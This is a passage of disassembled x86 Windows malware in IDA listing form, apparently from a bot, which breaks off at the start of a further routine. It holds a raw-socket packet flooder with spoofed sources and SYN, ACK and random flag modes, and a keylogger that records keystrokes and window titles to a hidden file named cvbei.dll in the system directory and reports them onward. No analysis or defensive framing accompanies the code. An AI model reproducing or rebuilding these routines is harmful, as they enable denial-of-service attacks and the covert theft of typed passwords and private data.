		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	ds:dword_43C590	; WSAStartup
		test	eax, eax
		jz	short loc_401AAD
		xor	eax, eax
		jmp	loc_401D1B
; ---------------------------------------------------------------------------


loc_401AAD:				; CODE XREF: sub_401A6D+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	ds:dword_43C6BC	; WSASocketA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_C], eax
		jz	loc_401D13
		push	esi
		lea	ecx, [ebp+var_38]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_38], edi
		call	ds:dword_43C5F8	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jz	loc_401D09
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		mov	[ebp+Dst], 2
		push	[ebp+arg_8]
		call	ds:dword_43C618	; htons
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_4E], ax
		mov	[ebp+var_4C], esi
		mov	[ebp+var_20], 45h
		call	ds:dword_43C618	; htons
		push	[ebp+arg_8]
		mov	[ebp+var_1E], ax
		mov	[ebp+var_1C], di
		mov	[ebp+var_1A], bx
		mov	[ebp+var_18], 80h
		mov	[ebp+var_17], 6
		mov	[ebp+var_16], bx
		mov	[ebp+var_10], esi
		call	ds:dword_43C618	; htons
		push	4000h
		mov	[ebp+var_32], ax
		mov	[ebp+var_2C], ebx
		mov	[ebp+var_28], 50h
		mov	[ebp+var_27], 2
		call	ds:dword_43C618	; htons
		mov	[ebp+var_26], ax
		lea	eax, [ebp+var_40]
		push	eax
		mov	[ebp+var_22], bx
		mov	[ebp+arg_8], ebx
		call	ds:dword_42305C	; QueryPerformanceFrequency
		lea	eax, [ebp+var_8]
		push	eax
		call	ds:dword_423058	; QueryPerformanceCounter
		push	[ebp+var_3C]
		mov	eax, [ebp+arg_C]
		cdq
		push	[ebp+var_40]
		push	edx
		push	eax
		call	__allmul
		add	eax, [ebp+var_8]
		mov	esi, edx
		adc	esi, [ebp+var_4]
		mov	[ebp+var_58], eax


loc_401B98:				; CODE XREF: sub_401A6D+25Dj
					; sub_401A6D+26Bj
		mov	[ebp+var_24], bx
		call	_rand
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	ds:dword_43C618	; htons
		mov	[ebp+var_34], ax
		call	_rand
		mov	edi, eax
		shl	edi, 10h
		call	_rand
		or	edi, eax
		push	edi
		call	ds:dword_43C618	; htons
		movzx	eax, ax
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	ds:dword_43C614	; htonl
		push	14h
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_10]
		pop	edi
		push	edi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	ds:dword_43C618	; htons
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_14]
		mov	[ebp+Src], eax
		lea	eax, [ebp+Src]
		push	20h		; Size
		push	eax		; Src
		lea	eax, [ebp+var_B4]
		push	eax		; Dst
		call	_memcpy
		lea	eax, [ebp+var_34]
		push	edi		; Size
		push	eax		; Src
		lea	eax, [ebp+var_94]
		push	eax		; Dst
		call	_memcpy
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40AF34
		mov	[ebp+var_24], ax
		lea	eax, [ebp+var_20]
		push	edi		; Size
		push	eax		; Src
		lea	eax, [ebp+var_B4]
		push	eax		; Dst
		call	_memcpy
		lea	eax, [ebp+var_34]
		push	edi		; Size
		push	eax		; Src
		lea	eax, [ebp+var_A0]
		push	eax		; Dst
		call	_memcpy
		push	4		; Size
		lea	eax, [ebp+var_8C]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40AF34
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_20]
		push	edi		; Size
		push	eax		; Src
		lea	eax, [ebp+var_B4]
		push	eax		; Dst
		call	_memcpy
		add	esp, 14h
		lea	eax, [ebp+Dst]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_C]
		call	ds:dword_43C67C	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	short loc_401CDD
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		call	ds:dword_423058	; QueryPerformanceCounter
		mov	eax, [ebp+var_4]
		cmp	eax, esi
		jg	short loc_401D06
		jl	loc_401B98
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_58]
		jnb	short loc_401D06
		jmp	loc_401B98
; ---------------------------------------------------------------------------


loc_401CDD:				; CODE XREF: sub_401A6D+247j
		call	ds:dword_43C5AC	; WSAGetLastError
		push	eax
		lea	eax, [ebp+Dest]
		push	offset dword_4252B8 ; Format
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_40BF6F
		add	esp, 10h
		jmp	short loc_401D09
; ---------------------------------------------------------------------------


loc_401D06:				; CODE XREF: sub_401A6D+25Bj
					; sub_401A6D+269j
		mov	ebx, [ebp+arg_8]


loc_401D09:				; CODE XREF: sub_401A6D+78j
					; sub_401A6D+297j
		push	[ebp+var_C]
		call	ds:dword_43C6B0	; closesocket
		pop	esi


loc_401D13:				; CODE XREF: sub_401A6D+5Bj
		call	ds:dword_43C578	; WSACleanup
		mov	eax, ebx


loc_401D1B:				; CODE XREF: sub_401A6D+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_401A6D	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_401D1F(int,char *Str,int)

sub_401D1F	proc near		; CODE XREF: sub_4019D1+3Cp

arg_0		= dword	ptr  4
Str		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_40ADC5
		push	[esp+10h+Str]	; Str
		mov	esi, eax
		call	_atoi
		push	[esp+14h+arg_8]	; Str
		mov	ebx, eax
		call	_atoi
		mov	edi, eax
		call	_rand
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_401A6D
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_401D6A
		push	1
		pop	eax


loc_401D6A:				; CODE XREF: sub_401D1F+46j
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401D1F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401D79	proc near		; DATA XREF: sub_40EE51+2D56o

Dest		= byte ptr -440h
var_240		= dword	ptr -240h
var_23C		= byte ptr -23Ch
Str		= byte ptr -1BCh
var_13C		= byte ptr -13Ch
var_BC		= dword	ptr -0BCh
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A0		= byte ptr -0A0h
var_9F		= byte ptr -9Fh
var_8C		= byte ptr -8Ch
var_80		= byte ptr -80h
var_78		= byte ptr -78h
Src		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= byte ptr -5Ch
var_5B		= byte ptr -5Bh
var_5A		= word ptr -5Ah
Dst		= word ptr -44h
var_42		= word ptr -42h
var_40		= dword	ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_2A		= word ptr -2Ah
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= byte ptr -24h
var_23		= byte ptr -23h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_B		= byte ptr -0Bh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 440h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	68h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_240]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		lea	edi, [ebp+var_9F]
		push	0Eh
		mov	[eax+19Ch], esi
		pop	ecx
		xor	eax, eax
		mov	[ebp+var_A0], bl
		rep stosd
		stosw
		stosb
		mov	edi, ds:dword_423054
		call	edi	; GetTickCount
		push	eax
		call	sub_4172EE
		pop	ecx
		push	0FFh
		push	3
		push	2
		call	ds:dword_43C698	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_401E42
		call	ds:dword_43C5AC	; WSAGetLastError
		push	eax
		lea	eax, [ebp+Dest]
		push	offset dword_42542C ; Format
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+var_A8], ebx
		jnz	short loc_401E22
		push	ebx		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_AC]	; int
		push	eax		; int
		lea	eax, [ebp+var_13C]
		push	eax		; Str
		push	[ebp+var_240]	; int
		call	sub_40D670
		add	esp, 14h


loc_401E22:				; CODE XREF: sub_401D79+84j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_40BF6F
		push	[ebp+var_BC]
		call	sub_417064
		pop	ecx
		pop	ecx
		push	ebx
		call	ds:dword_423050


loc_401E42:				; CODE XREF: sub_401D79+61j
		lea	ecx, [ebp+var_34]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_34], esi
		call	ds:dword_43C5F8	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401EC0
		call	ds:dword_43C5AC	; WSAGetLastError
		push	eax
		lea	eax, [ebp+Dest]
		push	offset dword_4253E4 ; Format
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+var_A8], ebx
		jnz	short loc_401EA0
		push	ebx		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_AC]	; int
		push	eax		; int
		lea	eax, [ebp+var_13C]
		push	eax		; Str
		push	[ebp+var_240]	; int
		call	sub_40D670
		add	esp, 14h


loc_401EA0:				; CODE XREF: sub_401D79+102j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_40BF6F
		push	[ebp+var_BC]
		call	sub_417064
		pop	ecx
		pop	ecx
		push	ebx
		call	ds:dword_423050


loc_401EC0:				; CODE XREF: sub_401D79+DFj
		lea	eax, [ebp+var_23C]
		push	eax
		call	ds:dword_43C658	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401F30
		lea	eax, [ebp+Dest]
		push	offset dword_4253B4 ; Format
		push	eax		; Dest
		call	_sprintf
		cmp	[ebp+var_A8], ebx
		pop	ecx
		pop	ecx
		jnz	short loc_401F10
		push	ebx		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_AC]	; int
		push	eax		; int
		lea	eax, [ebp+var_13C]
		push	eax		; Str
		push	[ebp+var_240]	; int
		call	sub_40D670
		add	esp, 14h


loc_401F10:				; CODE XREF: sub_401D79+172j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_40BF6F
		push	[ebp+var_BC]
		call	sub_417064
		pop	ecx
		pop	ecx
		push	ebx
		call	ds:dword_423050


loc_401F30:				; CODE XREF: sub_401D79+157j
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		mov	[ebp+Dst], 2
		push	ebx
		call	ds:dword_43C618	; htons
		mov	[ebp+var_42], ax
		lea	eax, [ebp+var_23C]
		push	eax
		call	ds:dword_43C658	; inet_addr
		mov	[ebp+var_40], eax
		mov	[ebp+arg_0], ebx
		call	edi	; GetTickCount
		mov	[ebp+var_30], eax


loc_401F68:				; CODE XREF: sub_401D79+430j
		call	edi	; GetTickCount
		sub	eax, [ebp+var_30]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+var_B4]
		ja	loc_40222C
		push	28h
		mov	[ebp+var_2C], 45h
		call	ds:dword_43C618	; htons
		cmp	[ebp+var_B0], ebx
		mov	[ebp+var_2A], ax
		mov	[ebp+var_28], si
		mov	[ebp+var_26], bx
		mov	[ebp+var_24], 80h
		mov	[ebp+var_23], 6
		mov	[ebp+var_22], bx
		jz	short loc_401FDB
		call	_rand
		mov	esi, eax
		shl	esi, 8
		call	_rand
		add	esi, eax
		shl	esi, 8
		call	_rand
		add	esi, eax
		shl	esi, 8
		call	_rand
		add	esi, eax
		push	1
		mov	[ebp+var_20], esi
		pop	esi
		jmp	short loc_401FF1
; ---------------------------------------------------------------------------


loc_401FDB:				; CODE XREF: sub_401D79+233j
		push	[ebp+var_240]
		call	sub_40AEDB
		pop	ecx
		push	eax
		call	ds:dword_43C658	; inet_addr
		mov	[ebp+var_20], eax


loc_401FF1:				; CODE XREF: sub_401D79+260j
		mov	eax, [ebp+var_40]
		cmp	[ebp+var_B8], ebx
		mov	[ebp+var_1C], eax
		jnz	short loc_40200F
		call	_rand
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		jmp	short loc_402015
; ---------------------------------------------------------------------------


loc_40200F:				; CODE XREF: sub_401D79+284j
		push	[ebp+var_B8]


loc_402015:				; CODE XREF: sub_401D79+294j
		call	ds:dword_43C618	; htons
		mov	[ebp+var_16], ax
		call	_rand
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	ds:dword_43C618	; htons
		push	12345678h
		mov	[ebp+var_18], ax
		call	ds:dword_43C614	; htonl
		mov	[ebp+var_14], eax
		lea	eax, [ebp+Str]
		push	offset aSyn	; "syn"
		push	eax		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402065
		mov	[ebp+var_10], ebx
		mov	[ebp+var_B], 2
		jmp	short loc_4020C1
; ---------------------------------------------------------------------------


loc_402065:				; CODE XREF: sub_401D79+2E1j
		lea	eax, [ebp+Str]
		push	offset aAck	; "ack"
		push	eax		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402085
		mov	[ebp+var_10], ebx
		mov	[ebp+var_B], 10h
		jmp	short loc_4020C1
; ---------------------------------------------------------------------------


loc_402085:				; CODE XREF: sub_401D79+301j
		lea	eax, [ebp+Str]
		push	offset aRandom	; "random"
		push	eax		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4020C1
		call	_rand
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_10], edx
		call	_rand
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp+var_B], dl


loc_4020C1:				; CODE XREF: sub_401D79+2EAj
					; sub_401D79+30Aj ...
		push	200h
		mov	[ebp+var_C], 50h
		call	ds:dword_43C618	; htons
		mov	[ebp+var_A], ax
		mov	eax, [ebp+var_20]
		mov	[ebp+Src], eax
		mov	eax, [ebp+var_1C]
		push	14h
		mov	[ebp+var_6], bx
		mov	[ebp+var_8], bx
		mov	[ebp+var_60], eax
		mov	[ebp+var_5C], bl
		mov	[ebp+var_5B], 6
		call	ds:dword_43C618	; htons
		mov	[ebp+var_5A], ax
		lea	eax, [ebp+Src]
		push	20h		; Size
		push	eax		; Src
		lea	eax, [ebp+var_A0]
		push	eax		; Dst
		call	_memcpy
		lea	eax, [ebp+var_18]
		push	14h		; Size
		push	eax		; Src
		lea	eax, [ebp+var_80]
		push	eax		; Dst
		call	_memcpy
		lea	eax, [ebp+var_A0]
		push	34h
		push	eax
		call	sub_40AF34
		mov	[ebp+var_8], ax
		lea	eax, [ebp+var_2C]
		push	14h		; Size
		push	eax		; Src
		lea	eax, [ebp+var_A0]
		push	eax		; Dst
		call	_memcpy
		lea	eax, [ebp+var_18]
		push	14h		; Size
		push	eax		; Src
		lea	eax, [ebp+var_8C]
		push	eax		; Dst
		call	_memcpy
		push	4		; Size
		lea	eax, [ebp+var_78]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 44h
		lea	eax, [ebp+var_A0]
		push	28h
		push	eax
		call	sub_40AF34
		mov	[ebp+var_22], ax
		lea	eax, [ebp+var_2C]
		push	14h		; Size
		push	eax		; Src
		lea	eax, [ebp+var_A0]
		push	eax		; Dst
		call	_memcpy
		add	esp, 14h
		lea	eax, [ebp+Dst]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_A0]
		push	3Ch
		push	eax
		push	[ebp+var_4]
		call	ds:dword_43C67C	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4021AE
		inc	[ebp+arg_0]
		jmp	loc_401F68
; ---------------------------------------------------------------------------


loc_4021AE:				; CODE XREF: sub_401D79+42Bj
		push	[ebp+var_4]
		call	ds:dword_43C6B0	; closesocket
		call	ds:dword_43C5AC	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_23C]
		push	[ebp+arg_0]
		push	eax
		push	offset dword_425344 ; Format
		lea	eax, [ebp+Dest]
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 18h
		cmp	[ebp+var_A8], ebx
		jnz	short loc_40220C
		push	ebx		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_AC]	; int
		push	eax		; int
		lea	eax, [ebp+var_13C]
		push	eax		; Str
		push	[ebp+var_240]	; int
		call	sub_40D670
		add	esp, 14h


loc_40220C:				; CODE XREF: sub_401D79+46Ej
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_40BF6F
		push	[ebp+var_BC]
		call	sub_417064
		pop	ecx
		pop	ecx
		push	ebx
		call	ds:dword_423050


loc_40222C:				; CODE XREF: sub_401D79+203j
		push	[ebp+var_4]
		call	ds:dword_43C6B0	; closesocket
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		imul	eax, 3Ch
		mov	ecx, eax
		shr	eax, 0Ah
		div	[ebp+var_B4]
		shr	ecx, 14h
		push	ecx
		push	eax
		lea	eax, [ebp+var_23C]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+Str]
		push	eax
		lea	eax, [ebp+Dest]
		push	offset dword_4252E4 ; Format
		push	eax		; Dest
		call	_sprintf
		add	esp, 1Ch
		cmp	[ebp+var_A8], ebx
		jnz	short loc_40229D
		push	ebx		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_AC]	; int
		push	eax		; int
		lea	eax, [ebp+var_13C]
		push	eax		; Str
		push	[ebp+var_240]	; int
		call	sub_40D670
		add	esp, 14h


loc_40229D:				; CODE XREF: sub_401D79+4FFj
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_40BF6F
		push	[ebp+var_BC]
		call	sub_417064
		pop	ecx
		pop	ecx
		push	ebx
		call	ds:dword_423050
sub_401D79	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4022BD(int,int,int,char Str,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int)

sub_4022BD	proc near		; CODE XREF: sub_40239E+B4p
					; sub_40239E+253p

Dest		= byte ptr -314h
Filename	= byte ptr -114h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
Str		= byte ptr  14h
arg_8C		= dword	ptr  94h
arg_90		= dword	ptr  98h

		push	ebp
		mov	ebp, esp
		sub	esp, 314h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	ds:dword_423068	; GetLocalTime
		lea	eax, [ebp+Filename]
		push	104h
		push	eax
		call	ds:dword_423064	; GetSystemDirectoryA
		lea	eax, [ebp+Filename]
		push	offset Source	; "\\"
		push	eax		; Dest
		call	_strcat
		lea	eax, [ebp+Filename]
		push	offset aCvbei_dll ; "cvbei.dll"
		push	eax		; Dest
		call	_strcat
		lea	eax, [ebp+Filename]
		push	offset Mode	; "ab"
		push	eax		; Filename
		call	_fopen
		mov	esi, eax
		add	esp, 18h
		test	esi, esi
		jnz	short loc_402324
		push	1
		pop	eax
		jmp	short loc_40239B
; ---------------------------------------------------------------------------


loc_402324:				; CODE XREF: sub_4022BD+60j
		movzx	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset aDDDDDDS	; "[%d-%d-%d %d:%d:%d] %s\r\n"
		push	esi		; File
		call	_fprintf
		push	esi		; File
		call	_fclose
		add	esp, 28h
		cmp	[ebp+arg_90], 0
		jnz	short loc_402399
		push	[ebp+arg_0]
		lea	eax, [ebp+Dest]
		push	offset dword_425BDC ; Format
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		push	0		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8C]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+arg_4]	; int
		call	sub_40D670
		add	esp, 24h


loc_402399:				; CODE XREF: sub_4022BD+A3j
		xor	eax, eax


loc_40239B:				; CODE XREF: sub_4022BD+65j
		pop	esi
		leave
		retn
sub_4022BD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40239E	proc near		; DATA XREF: sub_40EE51+1F81o

var_8DC		= dword	ptr -8DCh
var_8D8		= byte ptr -8D8h
Dest		= byte ptr -4DCh
var_2DD		= byte ptr -2DDh
Dst		= byte ptr -2DCh
var_DC		= byte ptr -0DCh
var_D8		= dword	ptr -0D8h
var_48		= byte ptr -48h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8DCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_8DC], 0
		push	25h
		and	[ebp+var_4], 0
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_DC]
		rep movsd
		mov	dword ptr [eax+90h], 1
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp+var_8D8]
		rep stosd
		call	ds:dword_43C5A0	; GetForegroundWindow
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		mov	[ebp+var_8], eax
		call	ds:dword_43C5B4
		mov	ebx, 200h


loc_4023F9:				; CODE XREF: sub_40239E+2C7j
		push	8
		call	ds:dword_423060	; Sleep
		call	ds:dword_43C5A0	; GetForegroundWindow
		cmp	eax, [ebp+var_8]
		jz	short loc_402481
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		mov	[ebp+var_8], eax
		call	ds:dword_43C5B4
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+Dst]
		push	eax		; int
		lea	eax, [ebp+Dest]
		push	offset aSChangedWindow ; "%s (Changed Windows: %s)"
		push	eax		; int
		call	_sprintf
		sub	esp, 84h
		lea	esi, [ebp+var_DC]
		lea	eax, [ebp+Dest]
		push	25h
		pop	ecx
		mov	edi, esp
		push	eax		; int
		rep movsd
		call	sub_4022BD
		mov	[ebp+var_4], eax
		push	ebx		; Size
		lea	eax, [ebp+Dst]
		push	0		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0A4h
		lea	eax, [ebp+Dest]
		push	ebx		; Size
		push	0		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch


loc_402481:				; CODE XREF: sub_40239E+6Cj
		mov	[ebp+arg_0], offset aB ; "b"


loc_402488:				; CODE XREF: sub_40239E+2BDj
		push	10h
		call	ds:dword_43C4F8	; GetKeyState
		movsx	esi, ax
		mov	eax, [ebp+arg_0]
		mov	edi, [eax-4]
		push	edi
		call	ds:dword_43C5E4	; GetAsyncKeyState
		test	ah, 80h
		jz	short loc_402520
		push	14h
		call	ds:dword_43C4F8	; GetKeyState
		test	ax, ax
		jz	short loc_4024D1
		cmp	esi, 0FFFFFFFFh
		jle	short loc_4024D1
		cmp	edi, 40h
		jle	short loc_4024D1
		cmp	edi, 5Bh
		jge	short loc_4024D1
		mov	[ebp+edi*4+var_8DC], 1
		jmp	loc_402650
; ---------------------------------------------------------------------------


loc_4024D1:				; CODE XREF: sub_40239E+112j
					; sub_40239E+117j ...
		push	14h
		call	ds:dword_43C4F8	; GetKeyState
		test	ax, ax
		jz	short loc_4024FC
		test	esi, esi
		jge	short loc_402510
		cmp	edi, 40h
		jle	short loc_4024FC
		cmp	edi, 5Bh
		jge	short loc_4024FC
		mov	[ebp+edi*4+var_8DC], 2
		jmp	loc_402650
; ---------------------------------------------------------------------------


loc_4024FC:				; CODE XREF: sub_40239E+13Ej
					; sub_40239E+147j ...
		test	esi, esi
		jge	short loc_402510
		mov	[ebp+edi*4+var_8DC], 3
		jmp	loc_402650
; ---------------------------------------------------------------------------


loc_402510:				; CODE XREF: sub_40239E+142j
					; sub_40239E+160j
		mov	[ebp+edi*4+var_8DC], 4
		jmp	loc_402650
; ---------------------------------------------------------------------------


loc_402520:				; CODE XREF: sub_40239E+105j
		mov	esi, [ebp+edi*4+var_8DC]
		lea	eax, [ebp+edi*4+var_8DC]
		test	esi, esi
		jz	loc_402650
		and	dword ptr [eax], 0
		lea	eax, [ebp+Dst]
		cmp	edi, 8
		push	eax		; Str
		jnz	short loc_402558
		call	_strlen
		and	[ebp+eax+var_2DD], 0
		pop	ecx
		jmp	loc_402650
; ---------------------------------------------------------------------------


loc_402558:				; CODE XREF: sub_40239E+1A5j
		call	_strlen
		cmp	eax, 1B9h
		pop	ecx
		jbe	short loc_40258A
		call	ds:dword_43C5A0	; GetForegroundWindow
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		call	ds:dword_43C5B4
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+Dst]
		push	eax
		push	offset aSBufferFullS ; "%s (Buffer full) (%s)"
		jmp	short loc_4025CB
; ---------------------------------------------------------------------------


loc_40258A:				; CODE XREF: sub_40239E+1C5j
		cmp	edi, 0Dh
		jnz	loc_402622
		lea	eax, [ebp+Dst]
		push	eax		; Str
		call	_strlen
		test	eax, eax
		pop	ecx
		jz	loc_402650
		call	ds:dword_43C5A0	; GetForegroundWindow
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		call	ds:dword_43C5B4
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+Dst]
		push	eax		; int
		push	offset aSReturnS ; "%s (Return)	(%s)"


loc_4025CB:				; CODE XREF: sub_40239E+1EAj
		lea	eax, [ebp+Dest]
		push	eax		; int
		call	_sprintf
		sub	esp, 84h
		lea	esi, [ebp+var_DC]
		lea	eax, [ebp+Dest]
		push	25h
		pop	ecx
		mov	edi, esp
		push	eax		; int
		rep movsd
		call	sub_4022BD
		mov	[ebp+var_4], eax
		push	ebx		; Size
		lea	eax, [ebp+Dst]
		push	0		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0A4h
		lea	eax, [ebp+Dest]
		push	ebx		; Size
		push	0		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		jmp	short loc_402650
; ---------------------------------------------------------------------------


loc_402622:				; CODE XREF: sub_40239E+1EFj
		cmp	esi, 1
		jz	short loc_40263B
		cmp	esi, 3
		jz	short loc_40263B
		cmp	esi, 2
		jz	short loc_402636
		cmp	esi, 4
		jnz	short loc_402650


loc_402636:				; CODE XREF: sub_40239E+291j
		push	[ebp+arg_0]
		jmp	short loc_402642
; ---------------------------------------------------------------------------


loc_40263B:				; CODE XREF: sub_40239E+287j
					; sub_40239E+28Cj
		mov	eax, [ebp+arg_0]
		add	eax, 7
		push	eax		; Source


loc_402642:				; CODE XREF: sub_40239E+29Bj
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_strcat
		pop	ecx
		pop	ecx


loc_402650:				; CODE XREF: sub_40239E+12Ej
					; sub_40239E+159j ...
		add	[ebp+arg_0], 14h
		cmp	[ebp+arg_0], offset dword_425BA4
		jl	loc_402488
		cmp	[ebp+var_4], 0
		jz	loc_4023F9
		push	[ebp+var_D8]
		call	sub_417064
		pop	ecx
		push	0
		call	ds:dword_423050
sub_40239E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40267F	proc near		; DATA XREF: sub_40EE51+1DCAo

var_102B4	= byte ptr -102B4h
var_102AB	= byte ptr -102ABh
var_102A8	= dword	ptr -102A8h
var_102A0	= dword	ptr -102A0h
var_10293	= byte ptr -10293h
Str		= byte ptr -1028Ch
Dest		= byte ptr -2B4h
var_B4		= dword	ptr -0B4h
var_B0		= byte ptr -0B0h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= byte ptr -20h
Dst		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 102B4h
